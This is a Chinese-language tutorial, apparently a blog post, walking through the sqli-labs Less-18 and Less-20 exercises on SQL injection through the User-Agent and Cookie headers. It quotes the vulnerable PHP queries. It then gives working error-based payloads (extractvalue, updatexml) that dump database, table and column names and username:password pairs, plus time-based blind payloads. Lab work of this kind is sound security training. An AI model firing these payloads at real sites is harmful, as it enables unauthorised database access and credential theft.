当前位置: 首页 > news >正文

MySQL注入中user-agent和cookie存在的注入

uagent注入

1、漏洞成因:

当Web应用程序将用户提供的User-Agent值未经处理直接拼接到SQL查询语句时,攻击者可以通过构造恶意User-Agent值闭合原有SQL语句并注入任意SQL代码。

2、以less-18为例:

相比前几关,第18关对于uname和passwd的输入都进行了过滤源代码如下:

  $uname = check_input($con1, $_POST['uname']);
​
  $passwd = check_input($con1, $_POST['passwd']);

对于输入的单引号、双引号、反斜杠等都进行转义,无法进行闭合

所以下面的查询源代码就不能是注入点

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

而在下面源代码观察发现,有一个insert语句,也有报错的前端回显、对于uagent

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
​
mysqli_query($con1, $insert);
​
echo 'Your User Agent is: ' .$uagent;
echo "</font>";

下面用burpsuite抓包测试注入点(要传入正确的输入才可以走到uagent注入点)

抓到包后进入Request模块对User-Agent:字段添加一个单引号,然后Response,会看到mysql报错回显,证明可以尝试报错注入

通过在上面的源码可以分析出uagent字段后面还有$IP和 $uname两个字段,所以进行带入字段和注释看看回显

在后加上 ',1,1)# 其Response并没有报错的回显的正常回显

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0 ',1,1)#

接下来进一步可以替换最后一个1来输入报错注入的语句

尝试报错注入数据库名:

',1,extractvalue(1,concat(0x7e,database())))# ​

',1,updatexml(1,concat(0x7e,(select database())),1))#

尝试报错注入表名:

',1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1))))#

',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1))#

尝试报错注入列名:

',1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))))#

',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1))#

尝试报错注入数据信息:

',1,extractvalue(1,concat(0x7e,(select group_concat(username,':',password) from users))))# ​

',1,updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users)),1))#

cookie、

以less-20为例:

同样和第18关一样 对于uname和passwd的输入都进行了过滤源代码如下:

$uname = check_input($con1, $_POST['uname']);​   

$passwd = check_input($con1, $_POST['passwd']);

而对于Request头部也没有的回显和INSERT INTO语句

所以http头部字段没有注入点了

而往下看看源代码会发现有个可疑的注入点:

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
​
    $result=mysqli_query($con1, $sql);
​
    if (!$result)
​
    {
​
      die('Issue with your mysql: ' . mysqli_error($con1));
​
    }

用burpsuite抓包(刷新已经登录界面)

查看cookie字段

Cookie: uname=Dumb

这里要用到插件HackBar

选择cookie模块输入内容:

http://192.168.44.148:8081/Less-20/index.php ​

uname=Dumb

执行后发现正常回显

测试注入点

uname=Dumb' 加上单引号执行后发现有报错信息:Dumb附近的报错

使用#注入 尝试闭合

uname=Dumb'# 执行后正常回显说明注入点就是这里了!

这里可以尝试报错注入和盲注

报错注入尝试:

uname=Dumb' and updatexml(1,concat(0x7e,(select database())),1)#

时间盲注尝试:

uname=Dumb' and sleep(3)# ​ uname=Dumb' and if(ascii(substring((select database()),1,1))=115,sleep(3),0)#

相关文章:

  • OpenCV 从入门到精通(day_03)
  • 化学方程式配平 第33次CCF-CSP计算机软件能力认证
  • WEB安全--文件上传漏洞--黑名单绕过
  • 《Linux运维总结:基于银河麒麟V10操作系统+ARM64架构CPU二进制部署单机ACL版consul v1.18.1》
  • 【linux】管理磁盘——RAID10(含备份)与逻辑卷管理
  • Java线程池详解
  • 用deepseek创建可运行的简单的php框架
  • 如何在k8s中对接s3存储
  • 多线程 - wait notify
  • Apache Commons Lang3 常用方法详解
  • 大数据(4.3)Hive基础查询完全指南:从SELECT到复杂查询的10大核心技巧
  • 【超分辨率】基于DDIM+SwinUnet实现超分辨率
  • 深入理解pthread多线程编程:从基础到生产者-消费者模型
  • Android: Handler 的用法详解
  • 【工具】在 Visual Studio 中使用 Dotfuscator 对“C# 类库(DLL)或应用程序(EXE)”进行混淆
  • 关于 Nginx 配置中 proxy_set_header Host $host 的作用及其对 HTTP 请求头影响的详细说明,结合示例展示设置前后的差异
  • 【VSCode SSH 连接远程服务器】:身份验证时,出现 key: invalid format 的问题
  • 服务端向客户端推送数据的实现方案
  • Linux | I.MX6ULL 终结者底板原理图讲解完(第六天)
  • 关于亚马逊TTS的笔记
  • 芬兰直升机相撞坠毁事故中五名人员全部遇难
  • 首届中国人文学科年度发展大会启幕,共话AI时代人文使命
  • 辽宁援疆前指总指挥王敬华已任新疆塔城地委副书记
  • 东部沿海大省浙江,为何盯上内河航运?
  • 3月中国减持189亿美元美债、持仓规模降至第三,英国升至第二
  • 俄乌谈判开始